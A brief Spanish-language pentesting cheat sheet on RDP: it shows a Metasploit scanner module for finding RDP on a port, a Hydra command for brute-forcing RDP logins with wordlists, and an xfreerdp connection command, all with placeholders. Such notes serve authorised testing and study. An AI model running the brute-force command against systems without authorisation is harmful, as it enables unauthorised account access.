~ ▸ Comprobación de servicio RDP activo en un puerto (Metasploit)
El servicio RDP corre por defecto en el puerto 3389, pero podemos encontrarlo en cualquier otro
puerto, para comprobar si esta corriendo en otro puerto usamos el siguiente módulo:
auxiliary/scanner/rdp/rdp_scanner
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS <IP>
set RPORT <puerto que queremos comprobar>
└───────────────────────────────────────────────────────────────────────────────────────────────────
~ 🔐 Fuerza bruta contra RDP con Hydra
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
hydra -L <diccionario de usuarios> -P <diccionario de contraseñas> rdp://<IP> -s <puerto>
└───────────────────────────────────────────────────────────────────────────────────────────────────
~ ▸ Conexión RDP con xfreerdp
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
xfreerdp /u:<user> /p:<password> /v:<IP>:<port>
└───────────────────────────────────────────────────────────────────────────────────────────────────